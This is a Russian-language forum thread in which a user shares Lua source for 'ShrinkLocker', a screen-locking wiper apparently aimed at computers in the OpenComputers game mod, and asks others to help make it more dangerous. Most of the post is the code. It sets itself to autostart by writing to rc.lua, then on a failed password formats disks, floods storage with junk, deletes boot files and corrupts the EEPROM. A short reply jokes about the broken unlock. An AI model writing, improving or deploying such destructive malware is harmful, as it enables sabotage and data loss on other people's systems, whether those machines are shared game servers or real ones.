Перейти к содержимому
Faraday

Вирус ShrinkLocker

Рекомендуемые сообщения

Представляю вам недоработанный проект вируса, который требует пароль и даёт вам 3 попытки в случае неверного ввода, и, если у вас закончатся попытки, то он ломает жёсткие диски, форматирует их и забивает мусорными файлами, а также ломает EEPROM, в случае правильного ввода разблокирует доступ к ПК и самоудаляется, не оставляя следов в системе. МИНУС вирус не имеет автозапуска у меня всегда проблемы с этим поэтому

Перезагрузка, по идее, спасёт вас, а также не имеет возможности записаться на жёсткий диск и EEPROM для взаимной перепрошивки, если пользователь заменит один из компонентов.

Если здесь есть мудрые люди, помогите сделать вирус опаснее или привлекательнее.

Внимание! Данный вирус был разработан исключительно в образовательных целях, чтобы продемонстрировать возможности Lua и OpenCOMPUTER, и не предназначен для причинения вреда. Автор не несёт ответственности за возможный ущерб. Вы действуете на свой страх и риск.

Установка:

Любой пк-сервер

(Для эффектов можно использовать видеокарту 2 уровня и выше.)

 

Создание файла:

Откройте терминал OpenOS.

Введите:  

edit /.virus.lua

Вставьте код 

-- /.virus.lua
local component = require("component")
local computer = require("computer")
local fs = require("filesystem")
local term = require("term")
local serialization = require("serialization")
local shell = require("shell")
local gpu = component.gpu
local event = require("event")

-- Настройки
local PASSWORD = "1337"
local WIDTH, HEIGHT = gpu.getResolution()
local VIRUS_PATH = "/.virus.lua" -- Скрытый файл

-- Проверка наличия GPU
if not component.isAvailable("gpu") then
    return
end

-- Центрирование текста
local function centerText(y, text)
    local x = math.floor((WIDTH - #text) / 2)
    gpu.set(x, y, text)
end

-- Очистка экрана
local function clearScreen()
    gpu.setBackground(0x0000FF)
    gpu.fill(1, 1, WIDTH, HEIGHT, " ")
    gpu.setForeground(0xFFFFFF)
end

-- Уничтожение всех носителей
local function wipeAllDisks()
    for proxy in component.list("filesystem") do
        pcall(function()
            if proxy ~= computer.getBootAddress() and not component.invoke(proxy, "isReadOnly") then
                component.invoke(proxy, "format")
            end
        end)
    end
end

-- Заполнение диска мусором
local function fillDiskWithJunk()
    local junkData = string.rep("0xDEADBEEF", 1000)
    local counter = 1
    while true do
        local fileName = "/.trash_" .. tostring(counter) .. ".dat"
        local file, err = io.open(fileName, "w")
        if not file then break end
        file:write(junkData)
        file:close()
        counter = counter + 1
    end
end

-- Поломка OpenOS
local function breakOpenOS()
    pcall(function()
        fs.remove("/etc/rc.lua")
        fs.remove("/bin/lua.lua")
        fs.remove("/lib/core/boot.lua")
    end)
    if component.eeprom then
        component.eeprom.set("corrupted_data_0xDEADBEEF")
    end
end

-- Самоуничтожение
local function destroySystem()
    wipeAllDisks()
    fillDiskWithJunk()
    breakOpenOS()
    clearScreen()
    centerText(HEIGHT // 2, "💀 SYSTEM DESTROYED 💀")
    computer.beep(2000, 3)
    computer.shutdown(true)
end

-- Проверка пароля
local function checkPassword()
    clearScreen()
    centerText(5, "🚫 SYSTEM LOCKED 🚫")
    centerText(7, "Enter password (3 attempts):")

    for i = 1, 3 do
        term.setCursor(math.floor(WIDTH/2 - 7), 9)
        term.write(string.format("Attempt %d: ", i))
        local input = io.read():gsub("[\n\r]", "")
        if input == PASSWORD then
            return true
        end
    end

    computer.beep(2000, 1)
    os.sleep(5)
    destroySystem()
    return false
end

-- Скрытая автозагрузка
local function ensureAutostart()
    if not fs.exists(VIRUS_PATH) then
        local source = io.open(shell.getRunningScript(), "r")
        local data = source:read("*a")
        source:close()
        local target = io.open(VIRUS_PATH, "w")
        target:write(data)
        target:close()
    end

    -- Добавление в автозагрузку через /etc/rc.lua
    if fs.exists("/etc/rc.lua") then
        local rc = io.open("/etc/rc.lua", "a")
        rc:write("\nos.execute('" .. VIRUS_PATH .. "') -- System service")
        rc:close()
    else
        local rc = io.open("/etc/rc.lua", "w")
        rc:write("os.execute('" .. VIRUS_PATH .. "')")
        rc:close()
    end
end

-- Заражение EEPROM (без смены имени)
local function infectEEPROM()
    if component.eeprom then
        local eepromCode = [[
            local component = require("component")
            local fs = require("filesystem")
            if not fs.exists("/.virus.lua") then
                fs.copy("/mnt/" .. component.eeprom.getLabel() .. "/.virus.lua", "/.virus.lua")
                os.execute("/.virus.lua")
            end
        ]]
        component.eeprom.set(serialization.serialize(eepromCode))
    end
end

-- Основной код
ensureAutostart()
infectEEPROM()
clearScreen()
centerText(HEIGHT // 2, "💀 OpenOS FATAL ERROR 💀")

if checkPassword() then
    pcall(function()
        fs.remove(VIRUS_PATH)
        fs.remove("/etc/rc.lua")
    end)
    computer.shutdown(true)
else
    destroySystem()
end

Запустите вирус:

lua /.virus.lua

Важно:

Тестируйте в Creative Mode:

Восстановление невозможно:
Для возврата системы потребуется замена HDD и EEPROM.

 

Внимания я случайно сломал возможность деактивации вируса с помощью пароля !

Изменено пользователем Faraday

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
В 02.05.2025 в 21:23, Faraday сказал:

Внимания я случайно сломал возможность деактивации вируса с помощью пароля

Не сломал, а починил :-) Ведь вирус с паролем скорее что-то похожее на кейлокер. 

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Присоединяйтесь к обсуждению

Вы можете написать сейчас и зарегистрироваться позже. Если у вас есть аккаунт, авторизуйтесь, чтобы опубликовать от имени своего аккаунта.

Гость
Ответить в тему...

×   Вы вставили отформатированное содержимое.   Удалить форматирование

  Разрешено использовать не более 75 эмодзи.

×   Ваша ссылка была автоматически встроена.   Отобразить как ссылку

×   Ваш предыдущий контент был восстановлен.   Очистить редактор

×   Вы не можете вставлять изображения напрямую. Загружайте или вставляйте изображения по ссылке.


×
×
  • Создать...